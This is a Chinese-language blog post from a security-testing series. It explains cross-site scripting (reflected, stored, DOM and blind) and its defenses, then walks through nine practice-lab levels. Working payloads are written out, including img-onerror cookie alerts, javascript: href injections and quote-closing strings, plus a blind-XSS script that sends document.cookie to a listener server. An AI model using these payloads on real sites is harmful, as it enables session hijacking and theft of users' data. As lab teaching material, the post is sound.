前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【网络安全】「靶场练习」(二)跨站脚本攻击 XSS

【网络安全】「靶场练习」(二)跨站脚本攻击 XSS

原创
作者头像
sidiot
发布2024-10-12 20:31:21
3951
发布2024-10-12 20:31:21
举报
文章被收录于专栏:技术大杂烩

前言

本篇博文是《从0到1学习安全测试》中**靶场练习**系列的第**二**篇博文,主要内容是**了解跨站脚本攻击以及通过靶场进行实战练习加深印象**,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

跨站脚本攻击介绍

跨站脚本攻击(Cross-Site Scripting,简称 XSS) 是一种常见的网络攻击方式,攻击者通过在网页中插入恶意脚本,导致用户的浏览器执行这些脚本。通过这种方式,攻击者可以窃取用户的敏感信息、进行会话劫持,甚至传播恶意软件。

攻击方式

  1. 反射型 XSS(Reflected XSS) :攻击者将恶意脚本嵌入到 URL 中,并诱使用户点击链接,服务器将用户的请求直接反射回页面,执行恶意脚本。例如,攻击者可能通过邮件发送一个包含恶意参数的链接。
  2. 存储型 XSS(Stored XSS) :攻击者将恶意脚本存储在服务器上(如数据库、留言板等),当其他用户访问这些内容时,脚本被自动执行。例如,在用户评论区插入恶意代码,其他用户查看评论时触发。
  3. 基于 DOM 的 XSS(DOM-based XSS) :攻击者通过修改页面的 DOM 结构,使得客户端脚本执行恶意代码。例如,利用 JavaScript 的 document.locationdocument.write 来改变页面内容。
  4. 盲打 XSS(Blind XSS) :XSS 的一种变体,与传统的 XSS 攻击不同,盲打 XSS 在攻击者无法立即看到或获取到攻击结果的情况下实施,通常需要将恶意代码注入到目标应用的某些部分,等待该代码在另一个地方被执行。

防御措施

  1. 输入验证:对用户输入的数据进行严格验证,确保不允许输入任何脚本代码。可以使用白名单方式来过滤有效输入。
  2. 输出编码:在输出到网页时,对用户输入进行 HTML 实体编码,将特殊字符(如 <, >, &)转换为其对应的 HTML 实体,以避免执行。
  3. 内容安全策略(CSP) :通过设置 HTTP 头部的 Content-Security-Policy,限制可执行的脚本源,从而防止未授权的脚本执行。
  4. 避免内联脚本:不在 HTML 中直接使用 JavaScript 代码,而是将所有脚本放在外部文件中,并使用 noncehash 进行安全验证。
  5. 使用安全库和框架:利用现代前端框架(如 React、Angular)自带的防 XSS 机制,自动处理用户输入和输出,减少手动编码错误的可能性。

跨站脚本攻击练习

1、反射型 XSS (GET)

先输入一个 sidiot 尝试一下,如下图所示:

这里尝试简单的 XSS 注入,写到一半发现 input 框限制了长度,可以 F12 修改长度 maxlength="200",或者直接在 GET 参数中进行注入 %3Cimg%20src%3D1%20onerror%3Dalert(1)%3E,如下图所示:

2、反射型 XSS (POST)

通过提示,我们可以知道这道题的目的是为了让我们通过 XSS 来获取到 cookie。

先通过账号密码 admin/123456 进行登录,登录后还是和上一题一样的形式,尝试一下 <img src=1 onerror=alert(document.cookie)>,成功获取到 cookie:

3、存储型 XSS

尝试 <img src=1 onerror=alert(1)> 进行注入,成功弹框:

由于是留言板,我们发布之后,它会在底下进行展示,因此这将会是永久性的 XSS。

4、DOM 型 XSS

尝试输入 sidiot,根据提示查看 HTML 元素,如下图所示:

我们要做的是,在 href 属性里执行 JS 代码,例如 javascript:alert(1),点击 "what do you see?" 即会触发弹窗:

5、XSS 盲打

尝试输入 <img src=1 onerror=alert(document.cookie)> 进行 XSS 注入,发现提交之后并没有进行弹窗,而是在底部返回了 “谢谢参与,阁下的看法我们已经收到!”。

直接瞄一眼提示:

登录到后台后,发现出现弹窗:

由于 XSS 盲打的执行效果通常是由后台人员或不同的用户组触发的,攻击者无法在前端直接看到结果。因此,攻击者常常使用外部资源来接收信息,例如通过创建监听的外部服务器,将攻击结果(如敏感信息)发送到该服务器。

使用如下指令来反弹攻击结果:

代码语言:javascript
复制
<script>
    var img = new Image(); 
    img.src = 'http://127.0.0.1:8888/?cookie=' + document.cookie; 
</script>

下面拉起一个 Python 的临时服务,用于监听反弹回来的攻击结果:

6、XSS 过滤

直接一把出了 <img src=1 onerror=alert(document.cookie)>

去代码里看看过滤了什么:

这段正则试图替换用户输入中的所有形态的 <script> 标签,防止攻击者通过插入一些无关字符绕过简单的过滤规则。例如,<sCrIpT> 或者 <scr<sp>ipt> 这种变形。

但是这段正则表达式只能处理比较明显的 <script> 标签变种,更复杂的变种可能绕过这个正则,例如使用多字节编码、实体编码(&lt;script&gt;)等。

而且,虽然过滤掉了 <script> 标签,但攻击者可能会利用其他方式进行 XSS 攻击,例如通过事件处理属性(如 onclickonload)注入恶意代码,或者通过 <iframe><img> 等标签引入脚本。

为了更安全地处理用户输入,可以使用 htmlspecialchars 函数来防止 XSS 攻击。htmlspecialchars 函数将所有的 HTML 特殊字符转义,确保输入内容以纯文本形式显示,而不会被浏览器解释为 HTML 或 JavaScript。

代码语言:javascript
复制
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

7、XSS htmlspecialchars

上面已经介绍过 htmlspecialchars 会将特殊的 HTML 字符转义为 HTML 实体,确保这些字符不会在浏览器中被解析为 HTML 或 JavaScript,以下的特殊字符会被转换为对应的 HTML 实体:

字符

转换后的实体

&

&

<

<

>

"

"

'

'

通过将这些字符转义,浏览器就不会将它们解释为实际的 HTML 标签或属性,而是作为普通的文本内容来展示。这是防止 XSS 攻击的一个非常有效的措施。

直接 <img src=1 onerror=alert(document.cookie)> 试试效果:

看样子可以考虑去闭合 href,' onclick='alert(1)' 单引号没被转义是可行的,双引号被转义了用不了 href="&quot; onclick=&quot;alert(1)&quot;"

或者使用 javascript:alert(document.title) 来绕过特殊字符转义:

8、XSS href 输出

直接用上面的脚本跟进行注入 javascript:alert(document.title)

在这种情况下,我们可以采取相应的安全措施来防止潜在的攻击。首先,可以通过白名单机制只允许合法的协议类型,例如 httphttps。其次,应该对用户输入的内容进行 htmlspecialchars 处理,将特殊字符(如 <, >, & 等)转义为 HTML 实体,防止它们被解析为 HTML 或脚本标签。这些预防措施可以有效防止 XSS 攻击和其他潜在的安全威胁,确保网页的安全性。

9、XSS js 输出

尝试输入 sidiot,看看反应,根据题目是与 JS 有关,因此直接看到 script 中:

直接尝试去闭合单引号:';alert(1);$m=',拿下。

后记

以上就是 跨站脚本攻击 XSS 的所有内容了,希望本篇博文对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

📝 上篇精讲:(一)暴力破解漏洞 Burt Force 💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持; 👍 公众号:sidiot的技术驿站; 🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 跨站脚本攻击介绍
    • 攻击方式
      • 防御措施
      • 跨站脚本攻击练习
        • 1、反射型 XSS (GET)
          • 2、反射型 XSS (POST)
            • 3、存储型 XSS
              • 4、DOM 型 XSS
                • 5、XSS 盲打
                  • 6、XSS 过滤
                    • 7、XSS htmlspecialchars
                      • 8、XSS href 输出
                        • 9、XSS js 输出
                        • 后记
                        相关产品与服务
                        云服务器
                        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档